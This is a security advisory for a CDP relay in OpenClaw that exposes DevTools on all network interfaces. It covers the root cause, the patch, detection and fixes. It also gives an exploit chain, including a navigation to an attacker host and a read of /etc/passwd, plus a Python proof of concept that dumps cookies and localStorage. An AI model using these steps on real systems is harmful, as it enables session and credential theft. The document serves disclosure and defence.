CVE-2026-43581: OpenClaw CDP Relay Exposes DevTools on 0.0.0.0
OpenClaw's sandbox browser CDP relay binds Chrome DevTools Protocol to 0.0.0.0 instead of 127.0.0.1, escaping sandbox isolation. Remote attackers gain full browser control without authentication.
A critical security flaw has been discovered in OpenClaw, a browser automation tool used by developers. Before version 2026.4.10, the software accidentally leaves a debugging door wide open to anyone on the same network.
Think of it like this: Chrome has a hidden "developer mode" that lets programmers control a browser remotely while testing software. OpenClaw was supposed to keep this feature locked behind a firewall, accessible only from the same computer. Instead, it was accidentally broadcasting the key to everyone on the network.
An attacker doesn't even need a password. They just need to be on your wifi network or connected to your company network, and they can take complete control of any browser running through OpenClaw. From there, they can run malicious code, steal passwords, compromise files, or use your computer to attack other systems.
This matters most to software developers and companies that use OpenClaw for automated testing. If your workplace uses this tool, an employee on the office network could potentially hijack it. Someone sitting in a coffee shop on your public wifi could do the same. The vulnerability essentially hands attackers the keys to the kingdom.
The good news is no one has actively exploited this yet in the wild, and a fix exists.
Here's what you can actually do: First, update OpenClaw to version 2026.4.10 or later immediately if your organization uses it. Second, if you can't update right away, make sure OpenClaw is only running on trusted, isolated networks. Third, check your network for any suspicious connections if you think someone may have accessed your system.
Want the full technical analysis? Click "Technical" above.
CVE-2026-43581 is a critical (CVSS 9.6) improper network binding vulnerability in OpenClaw's sandboxed browser component. The CDP relay server — intended to provide controlled DevTools Protocol access to the local sandbox process — binds its listening socket to 0.0.0.0 rather than the loopback interface. Any network-adjacent or remote attacker with TCP reachability to the host can attach to the DevTools endpoint and exercise full browser control: arbitrary JavaScript execution, DOM inspection, credential harvesting, file system access via the Page.navigate + Fetch domain, and sandbox escape depending on host configuration.
The issue is pre-auth, requires zero interaction from the sandboxed user, and affects all OpenClaw releases prior to 2026.4.10. No exploitation in the wild has been confirmed at time of writing.
Root cause:CDPRelayServer::Start() passes a hardcoded INADDR_ANY bind address to the relay socket instead of INADDR_LOOPBACK, exposing the unauthenticated DevTools WebSocket endpoint on all network interfaces.
Affected Component
The vulnerable subsystem is the CDP relay inside OpenClaw's sandbox browser abstraction layer. OpenClaw wraps a Chromium-derived browser in a sandbox process and provides a relay that forwards DevTools Protocol messages between the sandbox host and the embedded browser's internal CDP server. The relay is implemented in cdp_relay.cc and is instantiated during sandbox browser initialization via SandboxBrowser::InitDevToolsRelay().
Affected versions: all OpenClaw releases before 2026.4.10. The relay port is dynamically assigned from an ephemeral range but is advertised in the process environment and discoverable via /proc/[pid]/net/tcp or trivial port scan.
Root Cause Analysis
The relay server allocates a TCP socket and calls bind() with a sockaddr_in whose sin_addr is populated by htonl(INADDR_ANY) — resolving to 0.0.0.0. The intent was loopback-only binding; the implementation contradicts it.
// cdp_relay.cc — CDPRelayServer::Start()
// Vulnerable: OpenClaw < 2026.4.10
bool CDPRelayServer::Start(uint16_t port) {
struct sockaddr_in addr = {};
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
// BUG: INADDR_ANY binds to 0.0.0.0, exposing the relay on all interfaces.
// Should be INADDR_LOOPBACK (127.0.0.1) to constrain access to the
// local sandbox process only.
addr.sin_addr.s_addr = htonl(INADDR_ANY); // <-- BUG: should be INADDR_LOOPBACK
relay_fd_ = socket(AF_INET, SOCK_STREAM, 0);
if (relay_fd_ < 0) return false;
int opt = 1;
setsockopt(relay_fd_, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
if (bind(relay_fd_, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
close(relay_fd_);
return false;
}
listen(relay_fd_, CDP_RELAY_BACKLOG); // CDP_RELAY_BACKLOG = 5
relay_thread_ = std::thread(&CDPRelayServer::AcceptLoop, this);
return true;
}
// AcceptLoop forwards raw CDP JSON frames bidirectionally with no auth check.
void CDPRelayServer::AcceptLoop() {
while (running_) {
int client_fd = accept(relay_fd_, nullptr, nullptr);
if (client_fd < 0) continue;
// BUG: No origin check, no token validation, no IP allowlist.
// Any connecting client gets a transparent pipe to the browser's CDP.
auto session = std::make_unique(client_fd, browser_cdp_fd_);
sessions_.push_back(std::move(session));
}
}
The struct layout of CDPRelayServer is relevant: browser_cdp_fd_ is a live socket connected to the embedded browser's internal DevTools server. Any client accepted via AcceptLoop gets symmetric read/write access to that pipe.
An attacker with TCP reachability to the host (LAN, VPN peer, misconfigured cloud security group) can attach directly to the relay port and speak the Chrome DevTools Protocol WebSocket sub-protocol. No credentials, no CORS enforcement, no Host header validation — the relay is a transparent byte pipe.
EXPLOIT CHAIN — CVE-2026-43581:
1. Discover relay port.
$ nmap -p 9222-9333 # or read /proc/[openclaw-pid]/net/tcp
Relay typically lands in 9222–9322 range.
2. Initiate WebSocket upgrade to CDP endpoint.
GET /json/version HTTP/1.1
Host: :9228
→ Returns browser metadata and WebSocket debugger URL.
3. Connect CDP WebSocket session.
wscat -c ws://:9228/devtools/page/
4. Execute arbitrary JavaScript in sandbox browser context.
→ {"id":1,"method":"Runtime.evaluate","params":{"expression":"document.cookie"}}
← {"id":1,"result":{"result":{"type":"string","value":"session="}}}
5. Exfiltrate stored credentials / session tokens via Runtime.evaluate.
6. Navigate to attacker-controlled origin to bypass same-origin policy
from renderer perspective.
→ {"id":2,"method":"Page.navigate","params":{"url":"https://attacker.tld/steal"}}
7. (Optional) Leverage Fetch domain to read local files if --allow-file-access
flag is set in sandbox browser launch args — depends on OpenClaw config.
→ {"id":3,"method":"Fetch.enable","params":{}}
→ {"id":4,"method":"Page.navigate","params":{"url":"file:///etc/passwd"}}
8. (Optional escalation) If sandbox browser runs with reduced but non-zero
privileges, chain with a renderer RCE bug for full process breakout.
Step 4 alone constitutes credential theft from any web session active inside the sandboxed browser. Steps 5–7 depend on deployment configuration but are trivially achievable on default installs where the sandbox browser is initialized with permissive flags.
The following PoC demonstrates the initial recon and JS execution path:
#!/usr/bin/env python3
# CVE-2026-43581 PoC — CDP relay exposure
# CypherByte research — educational use only
import json, socket, sys
import websocket # pip install websocket-client
def discover_relay(host, port_range=(9222, 9322)):
for port in range(*port_range):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(0.3)
if s.connect_ex((host, port)) == 0:
return port
return None
def cdp_rpc(ws, method, params=None, req_id=1):
msg = {"id": req_id, "method": method, "params": params or {}}
ws.send(json.dumps(msg))
return json.loads(ws.recv())
if __name__ == "__main__":
host = sys.argv[1]
port = discover_relay(host)
if not port:
print("[-] No relay found")
sys.exit(1)
print(f"[+] CDP relay found at {host}:{port}")
import urllib.request
targets = json.loads(urllib.request.urlopen(
f"http://{host}:{port}/json/list").read())
ws_url = targets[0]["webSocketDebuggerUrl"]
print(f"[+] Attaching to: {ws_url}")
ws = websocket.create_connection(ws_url)
# Dump cookies
resp = cdp_rpc(ws, "Runtime.evaluate",
{"expression": "document.cookie", "returnByValue": True})
print(f"[+] document.cookie: {resp['result']['result']['value']}")
# Dump localStorage
resp = cdp_rpc(ws, "Runtime.evaluate",
{"expression": "JSON.stringify(localStorage)","returnByValue":True},
req_id=2)
print(f"[+] localStorage: {resp['result']['result']['value']}")
ws.close()
Memory Layout
This is a logic/binding vulnerability rather than a memory corruption bug; there is no heap or stack corruption. The relevant "layout" is the network socket state and the process's open file descriptor table, which reveals the misconfigured binding:
SOCKET STATE — VULNERABLE BUILD (OpenClaw 2026.3.1):
Proto Local Address Foreign Address State
tcp 0.0.0.0:9228 0.0.0.0:* LISTEN ← relay_fd_ (INADDR_ANY)
tcp 127.0.0.1:37291 127.0.0.1:37290 ESTABLISHED ← browser_cdp_fd_
/proc//fd:
fd 7 → socket:[relay_fd_] bound to 0.0.0.0:9228
fd 8 → socket:[browser_cdp_fd_] connected to browser's internal CDP 127.0.0.1:37290
SOCKET STATE — PATCHED BUILD (OpenClaw 2026.4.10):
Proto Local Address Foreign Address State
tcp 127.0.0.1:9228 0.0.0.0:* LISTEN ← relay_fd_ (INADDR_LOOPBACK)
tcp 127.0.0.1:37291 127.0.0.1:37290 ESTABLISHED ← browser_cdp_fd_
External TCP SYN to 0.0.0.0:9228 → RST (no route to host from external interface)
Patch Analysis
The fix in OpenClaw 2026.4.10 is a one-line constant change: INADDR_ANY → INADDR_LOOPBACK. Additionally, the patched release adds a Host header allowlist in AcceptLoop as defense-in-depth against DNS rebinding attacks, which the original binding bug had made irrelevant but which would otherwise be a secondary vector.
// BEFORE (vulnerable — OpenClaw < 2026.4.10):
bool CDPRelayServer::Start(uint16_t port) {
struct sockaddr_in addr = {};
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = htonl(INADDR_ANY); // exposed on all interfaces
// ... rest of setup
}
void CDPRelayServer::AcceptLoop() {
while (running_) {
int client_fd = accept(relay_fd_, nullptr, nullptr);
if (client_fd < 0) continue;
auto session = std::make_unique(client_fd, browser_cdp_fd_);
sessions_.push_back(std::move(session));
}
}
// AFTER (patched — OpenClaw 2026.4.10):
bool CDPRelayServer::Start(uint16_t port) {
struct sockaddr_in addr = {};
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); // FIX: loopback only
// ... rest of setup
}
void CDPRelayServer::AcceptLoop() {
while (running_) {
struct sockaddr_in peer = {};
socklen_t peer_len = sizeof(peer);
int client_fd = accept(relay_fd_, (struct sockaddr *)&peer, &peer_len);
if (client_fd < 0) continue;
// FIX: defense-in-depth — reject non-loopback peers (belt + suspenders)
if (ntohl(peer.sin_addr.s_addr) != INADDR_LOOPBACK) {
close(client_fd);
continue;
}
// FIX: enforce Host header allowlist to block DNS rebinding
if (!ValidateCDPHostHeader(client_fd)) {
close(client_fd);
continue;
}
auto session = std::make_unique(client_fd, browser_cdp_fd_);
sessions_.push_back(std::move(session));
}
}
// New in 2026.4.10: ValidateCDPHostHeader()
static bool ValidateCDPHostHeader(int fd) {
// Reads HTTP Upgrade request, checks Host is "localhost" or "127.0.0.1".
// Rejects any external hostname (DNS rebinding mitigation).
std::string host = ReadHTTPHostHeader(fd);
return (host == "localhost" || host == "127.0.0.1");
}
Detection and Indicators
Detection is straightforward: the relay listening on 0.0.0.0 is directly observable.
On Linux hosts, /proc/net/tcp entries with local address 00000000 (big-endian 0.0.0.0) on any port in the CDP ephemeral range (0x240E–0x2482, i.e., 9230–9346 decimal) indicate a vulnerable instance.
Remediation
Immediate: Upgrade to OpenClaw 2026.4.10 or later. This is the only complete fix.
Short-term workaround (if upgrade is blocked): Apply a host firewall rule dropping inbound TCP to the CDP port range from non-loopback sources: iptables -I INPUT -p tcp --dport 9222:9322 ! -s 127.0.0.1 -j DROP. This mitigates network-adjacent attackers but does not fix the root cause.
Defense-in-depth: Deploy OpenClaw behind a network security group or firewall that blocks external access to ephemeral high ports. Never expose OpenClaw host ports to untrusted networks regardless of version.
Verify patch deployment: After upgrading, confirm ss -tlnp shows the relay bound to 127.0.0.1, not 0.0.0.0. Automated compliance checks should alert on any LISTEN socket on 0.0.0.0 in the CDP port range.